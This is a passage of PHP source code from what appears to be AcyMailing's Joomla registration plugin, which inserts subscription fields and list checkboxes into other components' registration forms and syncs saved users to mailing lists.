		$file = ACYMAILING_ROOT.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'version.php';
		if(!file_exists($file)) return '0.0.0';
		include_once($file);
		$vmversion = new vmVersion();
		if(empty($vmversion->RELEASE)){
			return vmVersion::$RELEASE;
		}else{
			return $vmversion->RELEASE;
		}
	}

	function onAfterRender(){
		if($this->initAcy() === false) return true;

		$option = acymailing_getVar('cmd', 'option', '', 'GET');
		if(empty($option)) $option = acymailing_getVar('cmd', 'option');

		if(empty($option)) return;
		$this->option = $option;

		$this->components = array();
		$this->components['com_user'] = array('view' => array('register', 'user'), 'edittasks' => array('profile', 'user'), 'lengthafter' => 200, 'email' => array('email2', 'email'), 'password' => array('password2', 'password'), 'displayBackend' => true, 'displayLoggedin' => true);
		$jversion = preg_replace('#[^0-9\.]#i', '', JVERSION);
		if(version_compare($jversion, '1.6.0', '>=')){
			$this->components['com_users'] = array('view' => array('registration', 'profile', 'user'), 'edittasks' => array('profile', 'user'), 'lengthafter' => 200, 'email' => array('jform[email2]', 'jform[email]'), 'password' => 'jform[password2]', 'displayBackend' => true, 'displayLoggedin' => true, 'checkLayout' => array('profile' => 'edit'));
		}else{
			$this->components['com_users'] = array('view' => array('registration', 'profile', 'user'), 'edittasks' => array('profile', 'user'), 'lengthafter' => 200, 'email' => array('email2', 'email'), 'password' => 'password2', 'displayBackend' => true, 'displayLoggedin' => true, 'tdfieldlabelclass' => 'key', 'tdclassfield' => 'key');
		}

		$this->components['com_alpharegistration'] = array('view' => array('register'), 'lengthafter' => 250);
		$this->components['com_ccusers'] = array('view' => array('register'), 'lengthafter' => 500);
		$this->components['com_community'] = array('view' => array('register', 'profile'), 'edittasks' => array('profile'), 'lengthafter' => 500, 'password' => 'jspassword2', 'email' => 'jsemail', 'displayLoggedin' => true, 'fieldclass' => 'form-field', 'labelclass' => 'form-label', 'tdclassfield' => 'paramlist_key', 'tdclassvalue' => 'paramlist_value');
		$this->components['com_extendedreg'] = array('view' => array('register'), 'lengthafter' => 200, 'password' => 'verify-password', 'email' => 'email');
		$this->components['com_gcontact'] = array('view' => array('registration'), 'lengthafter' => 200);
		$this->components['com_hikashop'] = array('view' => array('checkout', 'user'), 'viewvar' => 'ctrl', 'lengthafter' => 500, 'tdclassfield' => 'key', 'email' => 'data[register][email]', 'password' => 'data[register][password2]');
		$this->components['com_jblance'] = array('view' => array('guest'), 'layout' => array('register'), 'lengthaftermin' => 250, 'lengthafter' => 300, 'email' => 'email', 'password' => 'password2');
		$this->components['com_jshopping'] = array('view' => array('register', 'checkout'), 'viewvar' => array('task', 'controller'), 'lengthafter' => 200, 'email' => 'email', 'password' => 'password_2', 'displayLoggedin' => true);
		$this->components['com_juser'] = array('view' => array('user'), 'lengthafter' => 200);
		$this->components['com_mijoshop'] = array('viewvar' => array('route', 'view'), 'view' => array('registration', 'account/register', 'account/edit', 'account/registration'), 'edittasks' => array('account/edit', 'account/registration'), 'displayLoggedin' => true, 'lengthafter' => 500, 'email' => 'email', 'password' => array('confirm', 'password'));
		$this->components['com_osemsc'] = array('view' => array('register'), 'lengthafter' => 200, 'email' => 'oseemail', 'password' => 'osepassword2');
		$this->components['com_redshop'] = array('view' => array('registration'), 'lengthafter' => 200, 'password' => 'password2', 'email' => 'email1');
		$this->components['com_tienda'] = array('view' => array('checkout'), 'lengthafter' => 500, 'email' => 'email_address', 'password' => 'password2');
		$vmViews = array('shop.registration', 'account.billing', 'checkout.index', 'user', 'cart', 'editaddresscart', 'editaddresscheckout');
		if(version_compare($this->_getVmVersion(), '3.0.10', '>=')) $vmViews[] = 'askquestion';
		$this->components['com_virtuemart'] = array('view' => $vmViews, 'displayLoggedin' => true, 'viewvar' => 'page', 'lengthafter' => 500, 'acysubscribestyle' => 'style="clear:both"');

		if($option == 'com_rsform'){
			$formId = acymailing_getVar('cmd', 'formId', '', 'GET');
			if(empty($formId)) $formId = acymailing_getVar('cmd', 'formId');
			if(!empty($formId) && in_array(acymailing_getPrefix().'rsform_registration', acymailing_getTableList())){
				$registration = acymailing_loadObject('SELECT * FROM #__rsform_registration WHERE form_id = '.intval($formId).' AND published = 1');
				if(!empty($registration)){
					$regVar = empty($registration->reg_merge_vars) ? 'vars' : 'reg_merge_vars';
					$registrationVars = unserialize($registration->$regVar);
					$this->components['com_rsform'] = array('view' => array('rsform'), 'lengthafter' => 220, 'lengthaftermin' => 190, 'password' => array('form['.$registrationVars['password2'].']', 'form['.$registrationVars['password1'].']'), 'email' => array('form['.$registrationVars['email2'].']', 'form['.$registrationVars['email1'].']'));
				}
			}
		}

		$excludedComponents = $this->params->get('excluded');
		if(!empty($excludedComponents)){
			if(!ACYMAILING_J16) $excludedComponents = explode(',', $excludedComponents);
			foreach($excludedComponents as $oneComponent){
				unset($this->components[$oneComponent]);
			}
		}

		if(!isset($this->components[$option])) return;
		$viewVar = (isset($this->components[$option]['viewvar']) ? $this->components[$option]['viewvar'] : 'view');
		if(!is_array($viewVar)){
			if(!in_array(acymailing_getVar('string', $viewVar, acymailing_getVar('string', 'task', acymailing_getVar('string', 'view'))), $this->components[$option]['view'])) return;
			$this->view = acymailing_getVar('string', $viewVar, acymailing_getVar('string', 'task', acymailing_getVar('string', 'view')));
		}else{
			$isvalid = false;
			foreach($viewVar as $oneVar){
				if(in_array(acymailing_getVar('string', $oneVar, acymailing_getVar('string', 'task', acymailing_getVar('string', 'view'))), $this->components[$option]['view'])){
					$isvalid = true;
					$this->view = acymailing_getVar('string', $oneVar, acymailing_getVar('string', 'task', acymailing_getVar('string', 'view')));
					break;
				}
			}
			if(!$isvalid) return;
		}

		if(isset($this->components[$option]['layout']) && !in_array(acymailing_getVar('string', 'layout'), $this->components[$option]['layout'])) return;

		if(empty($this->components[$option]['displayBackend'])){
			if(acymailing_isAdmin()) return;
		}
		if(empty($this->components[$option]['displayLoggedin'])){
			$currentUserid = acymailing_currentUserId();
			if(!empty($currentUserid)) return;
		}


		if($option == 'com_community' && in_array(acymailing_getVar('string', 'task'), array('registerAvatar', 'registerProfile'))) return;

		$this->_addFields();
		$this->_addLists();
		$this->_addCSS();
	}

	private function _addFields(){
		if(!acymailing_level(3)) return;

		$option = $this->option;

		if(empty($this->components[$option]['lengthaftermin'])) $this->components[$option]['lengthaftermin'] = 0;

		if(acymailing_isAdmin()){
			$area = 'joomlaprofile';
		}elseif(!empty($this->components[$option]['edittasks']) && in_array($this->view, $this->components[$option]['edittasks'])){
			$area = 'frontjoomlaprofile';
		}else{
			$area = 'frontjoomlaregistration';
		}

		$fieldsClass = acymailing_get('class.fields');
		$fieldsClass->origin = 'joomla';
		$user = new stdClass();
		$extraFields = $fieldsClass->getFields($area, $user);

		$newOrdering = array();
		foreach($extraFields as $fieldnamekey => $oneField){
			if(in_array($oneField->namekey, array('name', 'email'))) continue;
			$newOrdering[] = $fieldnamekey;
		}

		if(empty($newOrdering)) return;

		$body = JResponse::getBody();

		$severalValueTest = false;
		if($this->params->get('customfieldsafter', 'email') == "custom"){
			$customFieldAfter = explode(';', str_replace(array('\\[', '\\]'), array('[', ']'), $this->params->get('customfieldsaftercustom')));
			$after = !empty($customFieldAfter) ? $customFieldAfter : $this->components[$option]['email'];
		}elseif(!empty($this->components[$option][$this->params->get('customfieldsafter', 'email')])){
			$after = $this->components[$option][$this->params->get('customfieldsafter', 'email')];
		}else{
			$after = ($this->params->get('customfieldsafter', 'email') == 'email') ? 'email' : 'password2';
		}
		if(is_array($after)){
			$severalValueTest = true;
			$allAfters = $after;
			$after = $after[0];
		}

		$allFormats = array();
		$allFormats['tr'] = array('tagfield' => 'tr', 'tagfieldname' => 'td', 'tagfieldvalue' => 'td');
		$allFormats['li'] = array('tagfield' => 'li', 'tagfieldname' => '', 'tagfieldvalue' => 'div');
		$allFormats['div'] = array('tagfield' => 'div', 'tagfieldname' => '', 'tagfieldvalue' => '');
		$allFormats['p'] = array('tagfield' => 'p', 'tagfieldname' => '', 'tagfieldvalue' => '');
		$allFormats['dd'] = array('tagfield' => '', 'tagfieldname' => 'dt', 'tagfieldvalue' => 'dd');

		$currentFormat = '';
		foreach($allFormats as $oneFormat => $values){
			if(preg_match('#(name="'.preg_quote($after).'".{'.$this->components[$option]['lengthaftermin'].','.$this->components[$option]['lengthafter'].'}</'.$oneFormat.'>)#Uis', $body)){
				$currentFormat = $oneFormat;
				break;
			}
		}

		if(empty($currentFormat) && $severalValueTest){
			$i = 1;
			while(empty($currentFormat) && $i < count($allAfters)){
				foreach($allFormats as $oneFormat => $values){
					if(preg_match('#(name="'.preg_quote($allAfters[$i]).'".{'.$this->components[$option]['lengthaftermin'].','.$this->components[$option]['lengthafter'].'}</'.$oneFormat.'>)#Uis', $body)){
						$after = $allAfters[$i];
						$currentFormat = $oneFormat;
						break;
					}
				}
				$i++;
			}
		}

		if(empty($currentFormat)){
			if(JDEBUG) echo 'regAcyMailing plugin, could not find the right format to display the fields...';
			return false;
		}

		$text = '';
		if(!empty($this->components[$option]['labelclass'])){
			$fieldsClass->labelClass = $this->components[$option]['labelclass'];
		}

		if(acymailing_isAdmin()){
			$jversion = preg_replace('#[^0-9\.]#i', '', JVERSION);
			if(version_compare($jversion, '1.6.0', '>=')){
				$currentUserId = acymailing_getVar('int', 'id', 0);
			}else{
				$currentUserIdArray = acymailing_getVar('array', 'cid', array());
				if(is_array($currentUserIdArray) && !empty($currentUserIdArray)){
					$currentUserId = array_shift($currentUserIdArray);
				}else{
					$currentUserId = 0;
				}
			}
		}else{
			$currentUserId = acymailing_currentUserId();
		}

		if(!empty($this->components[$option]['edittasks']) && in_array($this->view, $this->components[$option]['edittasks']) && $currentUserId != 0){
			$userClass = acymailing_get('class.subscriber');
			$acyUserData = $userClass->get($userClass->subid($currentUserId));
			if(!empty($acyUserData->email)) $fieldsClass->currentUser = $acyUserData;
		}

		foreach($newOrdering as $fieldName){
			if(!empty($allFormats[$currentFormat]['tagfield'])) $text .= '<'.$allFormats[$currentFormat]['tagfield'].' id="acy'.$fieldName.'" class="acyregfield">';
			if(!empty($allFormats[$currentFormat]['tagfieldname'])) $text .= '<'.$allFormats[$currentFormat]['tagfieldname'].' class="key acyregfieldname'.(!empty($this->components[$option]['tdfieldlabelclass']) ? ' '.$this->components[$option]['tdfieldlabelclass'] : '').'">';
			$text .= $fieldsClass->getFieldName($extraFields[$fieldName]);
			if(!empty($allFormats[$currentFormat]['tagfieldname'])) $text .= '</'.$allFormats[$currentFormat]['tagfieldname'].'>';
			if(!empty($allFormats[$currentFormat]['tagfieldvalue'])) $text .= '<'.$allFormats[$currentFormat]['tagfieldvalue'].' class="acyregfieldvalue'.(empty($this->components[$option]['fieldclass']) ? '' : ' '.$this->components[$option]['fieldclass']).'" >';
			$fieldValue = (!empty($acyUserData->$fieldName) ? $acyUserData->$fieldName : $extraFields[$fieldName]->default);
			$text .= $fieldsClass->display($extraFields[$fieldName], $fieldValue, 'regacy['.$fieldName.']');
			if(!empty($allFormats[$currentFormat]['tagfieldvalue'])) $text .= '</'.$allFormats[$currentFormat]['tagfieldvalue'].'>';
			if(!empty($allFormats[$currentFormat]['tagfield'])) $text .= '</'.$allFormats[$currentFormat]['tagfield'].'>';
		}
		$currentUserid = acymailing_currentUserId();
		if(acymailing_isAdmin()){
			if(ACYMAILING_J25){
				$formid = 'user-form';
			}else $formid = 'adminForm';
		}elseif(empty($currentUserid)){
			if(ACYMAILING_J25){
				$formid = 'member-registration';
			}else $formid = 'josForm';
		}else{
			if(ACYMAILING_J25 || (ACYMAILING_J30 && (!JComponentHelper::isInstalled('com_k2') || !JComponentHelper::isEnabled('com_k2')))){
				$formid = 'member-profile';
			}else $formid = 'userform';
		}

		$js = $fieldsClass->prepareConditionalDisplay($extraFields, 'regacy', 'joomlaProfile', $formid);
		$js .= $this->_getAdditionalJs($extraFields);

		if(ACYMAILING_J16) {
			$script = '';
			$fieldsClass = acymailing_get('class.fields');
			foreach($extraFields as $oneField){
				if($oneField->type != 'text' || empty($oneField->options['checkcontent'])) continue;
				$script .= '
						var '.$oneField->namekey.'Test = new RegExp("';
				switch($oneField->options['checkcontent']) {
					case 'number':
						$script .= '^[0-9]*$';
						break;
					case 'letter':
						$script .= '^[A-Za-z\u00C0-\u017F ]*$';
						break;
					case 'letnum':
						$script .= '^[0-9a-zA-Z\u00C0-\u017F ]*$';
						break;
					case 'regexp':
						$script .= $oneField->options['regexp'];
						break;
				}

				if(!empty($oneField->options['errormessagecheckcontent'])){
					$errorMessage = $oneField->options['errormessagecheckcontent'];
				}elseif(!empty($oneField->options['errormessage'])){
					$errorMessage = $oneField->options['errormessage'];
				}else{
					$errorMessage = acymailing_translation_sprintf('FIELD_CONTENT_VALID', $fieldsClass->trans($oneField->fieldname));
				}

				$script .= '");
						if(document.getElementById("field_'.$oneField->namekey.'").value.length > 0 && !'.$oneField->namekey.'Test.test(document.getElementById("field_'.$oneField->namekey.'").value)){
							alert("'.addslashes($errorMessage).'");
							return false;
						}';
			}
			if(!empty($script)){

				if(acymailing_isAdmin()){
					$script = 'if(arguments[0] != "user.cancel"){' . $script . '}';
					if (strpos($body, 'Joomla.submitbutton =') === false) {

						$script = 'Joomla.submitbutton = function(pressbutton) {
										' . $script . '
										Joomla.submitform(pressbutton);
									}';
						$js .= $script;
					} else {
						$body = preg_replace('#(Joomla\.submitbutton =[^{]+\{)#Uis', '$1' . $script, $body, 1);
					}
				}else {
					$currentUserid = acymailing_currentUserId();
					if (empty($currentUserid) && ACYMAILING_J30) {
						$script = 'var regform = document.getElementById("' . $formid . '");
								if(!regform) regform = document.getElementsByName("' . $formid . '")[0];
								var submitbutton = regform.querySelector(\'button[type="submit"]\');
								var oldclick = submitbutton.getAttribute("onclick");
								var newclick = function(){
									' . $script . '
									eval(oldclick);
								}
								submitbutton.onclick = newclick;';
					}else{
						$script = 'var regform = document.getElementById("' . $formid . '");
									if(!regform) regform = document.getElementsByName("' . $formid . '")[0];
									var oldsubmit = regform.getAttribute("onsubmit");
									var newsubmit = function(){
										' . $script . '
										eval(oldsubmit);
									}
									regform.onsubmit = newsubmit;';
					}
					$body = str_replace('</body>', '<script type="text/javascript">' . $script . '</script></body>', $body);
				}
			}
		}

		$body = str_replace('</head>', '<script type="text/javascript">'.$js.'</script></head>', $body);

		$body = preg_replace('#(name="'.preg_quote($after).'".{'.$this->components[$option]['lengthaftermin'].','.$this->components[$option]['lengthafter'].'}</'.$currentFormat.'>)#Uis', '$1'.$text, $body, 1);
		JResponse::setBody($body);
		return;
	}

	private function _getAdditionalJs($fields){
		$js = '';
		foreach($fields as $oneField){
			if($oneField->type == 'date'){
				if(empty($oneField->options['format'])) $oneField->options['format'] = "%Y-%m-%d";
				$js .= 'document.addEventListener("DOMContentLoaded", function(){Calendar.setup({
						inputField: "field_'.$oneField->namekey.'",
						ifFormat: "'.$oneField->options['format'].'",
						button: "field_'.$oneField->namekey.'_img",
						align: "Tl",
						singleClick: true,
						firstDay: 0
					});});';
			}
		}
		return $js;
	}

	private function _addLists(){
		$option = $this->option;

		$visibleLists = $this->params->get('lists', 'None');
		if($visibleLists == 'None') return;

		$visibleListsArray = array();
		$listsClass = acymailing_get('class.list');
		$allLists = $listsClass->getLists('listid');
		if(acymailing_level(1)){
			$allLists = $listsClass->onlyCurrentLanguage($allLists);
		}

		$isAdmin = acymailing_isAdmin();
		if(strpos($visibleLists, ',') OR is_numeric($visibleLists)){
			$allvisiblelists = explode(',', $visibleLists);
			foreach($allLists as $oneList){
				if($oneList->published && ($oneList->visible || $isAdmin) && in_array($oneList->listid, $allvisiblelists)) $visibleListsArray[] = $oneList->listid;
			}
		}elseif(strtolower($visibleLists) == 'all'){
			foreach($allLists as $oneList){
				if($oneList->published && ($oneList->visible || $isAdmin)){
					$visibleListsArray[] = $oneList->listid;
				}
			}
		}

		if(empty($visibleListsArray)) return;

		$checkedLists = $this->params->get('listschecked', 'All');
		$userClass = acymailing_get('class.subscriber');

		if(acymailing_isAdmin()){
			$jversion = preg_replace('#[^0-9\.]#i', '', JVERSION);
			if(version_compare($jversion, '1.6.0', '>=')){
				$currentUserId = acymailing_getVar('int', 'id', 0);
			}else{
				$currentUserIdArray = acymailing_getVar('array', 'cid', array());
				if(is_array($currentUserIdArray) && !empty($currentUserIdArray)) $currentUserId = array_shift($currentUserIdArray);
			}
		}else{
			$currentid = acymailing_currentUserId();
			if(!empty($currentid)){
				$currentUserId = $currentid;
			}
		}

		if(!empty($currentUserId)){
			$currentSubid = $userClass->subid($currentUserId);
			if(!empty($currentSubid)){
				$currentSubscription = $userClass->getSubscriptionStatus($currentSubid, $visibleListsArray);
				$checkedLists = '';
				foreach($currentSubscription as $listid => $oneSubsciption){
					if($oneSubsciption->status == '1' || $oneSubsciption->status == '2') $checkedLists .= $listid.',';
				}
			}
		}

		if(strtolower($checkedLists) == 'all'){
			$checkedListsArray = $visibleListsArray;
		}elseif(strpos($checkedLists, ',') OR is_numeric($checkedLists)){
			$checkedListsArray = explode(',', $checkedLists);
		}else{
			$checkedListsArray = array();
		}

		$subText = $this->params->get('subscribetext');
		if(empty($subText)){
			if(in_array($this->params->get('displaymode', 'dispall'), array('dispall', 'dropdown'))){
				$subText = acymailing_translation('SUBSCRIPTION').':';
			}else{
				$subText = acymailing_translation('YES_SUBSCRIBE_ME');
			}
		}else{
			$subText = acymailing_translation($subText);
		}

		$body = JResponse::getBody();

		$severalValueTest = false;
		if($this->params->get('fieldafter', 'password') == 'custom'){
			$listAfter = explode(';', str_replace(array('\\[', '\\]'), array('[', ']'), $this->params->get('fieldaftercustom')));
			$after = !empty($listAfter) ? $listAfter : $this->components[$option]['password'];
		}elseif(!empty($this->components[$option][$this->params->get('fieldafter', 'password')])){
			$after = $this->components[$option][$this->params->get('fieldafter', 'password')];
		}else{
			$after = ($this->params->get('fieldafter', 'password') == 'email') ? 'email' : 'password2';
		}
		if(is_array($after)){
			$severalValueTest = true;
			$allAfters = $after;
			$after = $after[0];
		}

		$listsDisplayed = '<input type="hidden" value="'.implode(',', $visibleListsArray).'" name="acylistsdisplayed_'.$this->params->get('displaymode', 'dispall').'" />';
		$return = '';
		if($this->params->get('displaymode', 'dispall') == 'dispall'){
			$return = '<table class="acy_lists" style="border:0px">';

			$displayCategories = $this->params->get('addcategory', '0');
			if($displayCategories){
				$listsByCategory = array();
				foreach($allLists as $id => $oneList){
					if(in_array($id,$visibleListsArray)) $listsByCategory[$oneList->category][] = $id;
				}
				ksort($listsByCategory);

				$visibleListsArray = array();
				foreach($listsByCategory as $oneCat => $itsLists){
					$visibleListsArray = array_merge($visibleListsArray, $itsLists);
				}
			}
			$currentCategory = '';
			foreach($visibleListsArray as $oneList){
				if(!empty($displayCategories) && !empty($allLists[$oneList]->category) && $currentCategory != $allLists[$oneList]->category){
					$return .= '<tr style="border:0px"><td style="border:0px" nowrap="nowrap" colspan="2"><div class="acylistcategory'.htmlspecialchars($allLists[$oneList]->category, ENT_QUOTES, 'UTF-8').'">'.htmlspecialchars($allLists[$oneList]->category, ENT_QUOTES, 'UTF-8').'</div></td></tr>';
					$currentCategory = $allLists[$oneList]->category;
				}
				$check = in_array($oneList, $checkedListsArray) ? 'checked="checked"' : '';
				$return .= '<tr style="border:0px"><td style="border:0px"><input type="checkbox" id="acy_list_'.$oneList.'" class="acymailing_checkbox" name="acysub[]" '.$check.' value="'.$oneList.'"/></td><td style="border:0px;padding-left:10px;" nowrap="nowrap"><label for="acy_list_'.$oneList.'" class="acylabellist">';
				$return .= $allLists[$oneList]->name;
				$return .= '</label></td></tr>';
			}
			$return .= '</table>';
		}elseif($this->params->get('displaymode', 'dispall') == 'onecheck'){
			$check = '';
			foreach($visibleListsArray as $oneList){
				if(in_array($oneList, $checkedListsArray)){
					$check = 'checked="checked"';
					break;
				};
			}
			$return = '<span class="acysubscribe_span"><input type="checkbox" id="acysubhidden" name="acysubhidden" value="'.implode(',', $visibleListsArray).'" '.$check.' /><label for="acysubhidden">'.$subText.'</label>'.$listsDisplayed.'</span>';
		}elseif($this->params->get('displaymode', 'dispall') == 'dropdown'){
			$return = '<select name="acysub[1]">';
			foreach($visibleListsArray as $oneList){
				$return .= '<option value="'.$oneList.'">'.$allLists[$oneList]->name.'</option>';
			}
			$return .= '</select>';
		}

		$return .= '<input type="hidden" name="allVisibleLists" value="'.implode(',', $visibleListsArray).'" />';

		$resInsertLists = $this->addListsReplace($after, $body, $subText, $listsDisplayed, $return);
		if(!$resInsertLists && $severalValueTest){
			$i = 1;
			while(!$resInsertLists && $i < count($allAfters)){
				$resInsertLists = $this->addListsReplace($allAfters[$i], $body, $subText, $listsDisplayed, $return);
				$i++;
			}
		}
	}

	private function addListsReplace($after, $body, $subText, $listsDisplayed, $return){
		$option = $this->option;

		if(empty($this->components[$option]['lengthaftermin'])) $this->components[$option]['lengthaftermin'] = 0;
		if(empty($this->components[$option]['acysubscribestyle'])) $this->components[$option]['acysubscribestyle'] = '';
		if(preg_match('#(name *= *"'.preg_quote($after).'".{'.$this->components[$option]['lengthaftermin'].','.$this->components[$option]['lengthafter'].'}</tr>)#Uis', $body)){
			$tdclassfield = '';
			$tdclassvalue = '';
			if(!empty($this->components[$option]['tdclassfield'])) $tdclassfield = 'class="'.$this->components[$option]['tdclassfield'].'"';
			if(!empty($this->components[$option]['tdclassvalue'])) $tdclassvalue = 'class="'.$this->components[$option]['tdclassvalue'].'"';

			if(in_array($this->params->get('displaymode', 'dispall'), array('dispall', 'dropdown'))){
				$return = '<tr class="acysubscribe"><td '.$tdclassfield.' style="padding-top:5px" valign="top">'.$subText.$listsDisplayed.'</td><td '.$tdclassvalue.'>'.$return.'</td></tr>';
			}else{
				$return = '<tr class="acysubscribe"><td colspan="2">'.$return.'</td></tr>';
			}
			$body = preg_replace('#(name *= *"'.preg_quote($after).'".{'.$this->components[$option]['lengthaftermin'].','.$this->components[$option]['lengthafter'].'}</tr>)#Uis', '$1'.$return, $body, 1);
			JResponse::setBody($body);
			return true;
		}

		$formats = array('li' => array('li', 'li'), 'div' => array('div', 'div'), 'p' => array('div', 'div'), 'dd' => array('dt', 'div'));
		foreach($formats as $oneFormat => $dispall){
			if(preg_match('#(name *= *"'.preg_quote($after).'".{'.$this->components[$option]['lengthaftermin'].','.$this->components[$option]['lengthafter'].'}</'.$oneFormat.'>)#Uis', $body)){
				if(in_array($this->params->get('displaymode', 'dispall'), array('dispall', 'dropdown'))){
					if($oneFormat == 'dd'){
						$return = '<dt class="acysubscribe"><label class="labelacysubscribe">'.$subText.$listsDisplayed.'</label></dt><dd>'.$return.'</dd>';
					}else{
						$return = '<'.$dispall[0].' class="acysubscribe"><label class="labelacysubscribe">'.$subText.$listsDisplayed.'</label>'.$return.'</'.$dispall[0].'>';
					}
				}else{
					$return = '<'.$dispall[1].' class="acysubscribe" '.$this->components[$option]['acysubscribestyle'].' >'.$return.'</'.$dispall[1].'>';
				}
				$body = preg_replace('#(name *= *"'.preg_quote($after).'".{'.$this->components[$option]['lengthaftermin'].','.$this->components[$option]['lengthafter'].'}</'.$oneFormat.'>)#Uis', '$1'.$return, $body, 1);
				JResponse::setBody($body);
				return true;
			}
		}

		foreach($formats as $oneFormat => $dispall){
			if(preg_match('#(name *= *"'.preg_quote($after).'"((?!</'.$oneFormat.'>).)*</'.$oneFormat.'>)#Uis', $body)){
				if(in_array($this->params->get('displaymode', 'dispall'), array('dispall', 'dropdown'))){
					if($oneFormat == 'dd'){
						$return = '<dt class="acysubscribe"><label class="labelacysubscribe">'.$subText.$listsDisplayed.'</label></dt><dd>'.$return.'</dd>';
					}else{
						$return = '<'.$dispall[0].' class="acysubscribe"><label class="labelacysubscribe">'.$subText.$listsDisplayed.'</label>'.$return.'</'.$dispall[0].'>';
					}
				}else{
					$return = '<'.$dispall[1].' class="acysubscribe" '.$this->components[$option]['acysubscribestyle'].' >'.$return.'</'.$dispall[1].'>';
				}
				$body = preg_replace('#(name *= *"'.preg_quote($after).'"((?!</'.$oneFormat.'>).)*</'.$oneFormat.'>)#Uis', '$1'.$return, $body, 1);
				JResponse::setBody($body);
				return true;
			}
		}

		return false;
	}

	private function _addCSS(){
		$style = $this->params->get('customcss');
		$jversion = preg_replace('#[^0-9\.]#i', '', JVERSION);

		if(empty($style) && version_compare($jversion, '1.6.0', '<')) return;

		if(empty($style)){
			$stylestring = '<style type="text/css">'."\n";
			if(version_compare($jversion, '3.0.0', '>=')){
				$stylestring .= '.acyregfield label, .acysubscribe label {float:left; width:160px; '.(!acymailing_isAdmin() ? 'text-align:right;' : '').'}'."\n";
				$stylestring .= '.acyregfield span label, .acysubscribe .acy_lists label {width:auto;}'."\n";
				$stylestring .= '.acyregfield div:first-of-type, .acyregfield select:first-of-type, .acyregfield input, .acyregfield textarea, .acysubscribe input {margin-left:20px;}'."\n";
				$stylestring .= '.acyregfield, .acysubscribe {clear:both; padding-top:18px;}'."\n";
			}elseif(version_compare($jversion, '1.6.0', '>=') && acymailing_isAdmin()){
				$stylestring .= 'table.acy_lists{float:left;}'."\n";
			}
			$stylestring .= '</style>'."\n";
		}else{
			$stylestring = '<style type="text/css">'."\n".$style."\n".'</style>'."\n";
		}
		$body = JResponse::getBody();
		$body = preg_replace('#</head>#', $stylestring.'</head>', $body, 1);
		JResponse::setBody($body);
	}

	function onUserBeforeSave($user, $isnew, $new){
		if($this->initAcy() === false) return true;

		return $this->onBeforeStoreUser($user, $isnew);
	}

	function plgVmOnAskQuestion($VendorEmail, $vars, $function){
		if($this->initAcy() === false) return true;

		$user = JFactory::getUser();

		$id = acymailing_loadResult('SELECT id FROM #__users WHERE email = '.acymailing_escapeDB($vars['user'][email]));
		if(empty($id)){
			$isnew = true;
			$user->id = 0;
		}else{
			$isnew = false;
			$user->id = $id;
		}
		$user->email = $vars['user'][email];
		$user->name = $vars['user'][name];
		$user->block = 0;

		$this->onAfterStoreUser($user, $isnew, true, '');
	}

	function onBeforeStoreUser($user, $isnew){
		if($this->initAcy() === false) return true;

		if(is_object($user)) $user = get_object_vars($user);

		$this->oldUser = $user;

		return true;
	}

	function onAfterUserCreate(&$element){
		if($this->initAcy() === false) return true;

		$formData = acymailing_getVar('array', 'data', array(), '');

		if(empty($element->user_email) || empty($formData['address']) || !empty($element->user_cms_id) || acymailing_isAdmin()) return;

		acymailing_setVar('acy_source', 'hikashop');

		$name = @$formData['address']['address_firstname'].(!empty($formData['address']['address_middle_name']) ? ' '.$formData['address']['address_middle_name'] : '').(!empty($formData['address']['address_lastname']) ? ' '.$formData['address']['address_lastname'] : '');
		$user = array('id' => 0, 'block' => 0, 'email' => $element->user_email, 'name' => $name);
		$this->onAfterStoreUser($user, true, true, '');
	}

	function onUserAfterSave($user, $isnew, $success, $msg){
		if($this->initAcy() === false) return true;

		return $this->onAfterStoreUser($user, $isnew, $success, $msg);
	}

	function onAfterStoreUser($user, $isnew, $success, $msg){
		if($this->initAcy() === false) return true;

		if(is_object($user)) $user = get_object_vars($user);

		if($success === false OR empty($user['email'])) return true;

		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('system', 'regacymailing');
			$this->params = new acyParameter($plugin->params);
		}

		if(!acymailing_getVar('cmd', 'acy_source')) acymailing_setVar('acy_source', 'joomla');

		$config = acymailing_config();

		$userClass = acymailing_get('class.subscriber');
		$joomUser = new stdClass();
		$joomUser->email = trim(strip_tags($user['email']));
		if(!empty($user['name'])) $joomUser->name = trim(strip_tags($user['name']));
		if(empty($user['block']) && !$this->params->get('forceconf', 0)) $joomUser->confirmed = 1;
		$joomUser->enabled = 1 - (int)$user['block'];
		$joomUser->userid = $user['id'];

		$userHelper = acymailing_get('helper.user');
		if(!$userHelper->validEmail($joomUser->email)) return true;

		if(!acymailing_isAdmin()) $userClass->geolocRight = true;

		if(!$isnew AND !empty($this->oldUser['email']) AND $user['email'] != $this->oldUser['email']){
			$joomUser->subid = $userClass->subid($this->oldUser['email']);
		}
		if(empty($joomUser->subid)){
			if(empty($joomUser->userid)){
				$joomUser->subid = null;
			}else{
				$joomUser->subid = $userClass->subid($joomUser->userid);
			}
		}

		if(!empty($joomUser->subid)){
			$currentSubid = $userClass->subid($joomUser->email);
			if(!empty($currentSubid) && $joomUser->subid != $currentSubid){
				$userClass->delete($currentSubid);
			}
		}

		$userClass->checkVisitor = false;
		$userClass->sendConf = false;

		$isnew = (bool)($isnew || empty($joomUser->subid));

		$customValues = acymailing_getVar('array', 'regacy', array(), '');
		$session = JFactory::getSession();
		if(empty($customValues) && $session->get('regacy')){
			$customValues = $session->get('regacy');
			$session->set('regacy', null);
		}
		if(!empty($customValues)){
			$userClass->checkFields($customValues, $joomUser);
		}

		$userClass->triggerFilterBE = true;
		$subid = $userClass->save($joomUser);

		$listsToSubscribe = ($isnew) ? $config->get('autosub', 'None') : 'None';
		$currentSubscription = $userClass->getSubscriptionStatus($subid);

		$listsClass = acymailing_get('class.list');
		$allLists = $listsClass->getLists('listid');
		if(acymailing_level(1)){
			$allLists = $listsClass->onlyCurrentLanguage($allLists);
		}

		$session = JFactory::getSession();
		$visiblelistschecked = acymailing_getVar('array', 'acysub', array(), '');
		if(empty($visiblelistschecked) && $session->get('acysub')){
			$visiblelistschecked = $session->get('acysub');
			$session->set('acysub', null);
		}

		$acySubHidden = acymailing_getVar('string', 'acysubhidden');
		if(empty($acySubHidden) && $session->get('acysubhidden')){
			$acySubHidden = $session->get('acysubhidden');
			$session->set('acysubhidden', null);
		}

		if(!empty($acySubHidden)){
			$visiblelistschecked = array_merge($visiblelistschecked, explode(',', $acySubHidden));
		}

		$allvisiblelists = acymailing_getVar('string', 'allVisibleLists');
		$allvisiblelistsArray = explode(',', $allvisiblelists);

		$listsArray = array();
		if(strpos($listsToSubscribe, ',') || is_numeric($listsToSubscribe)){
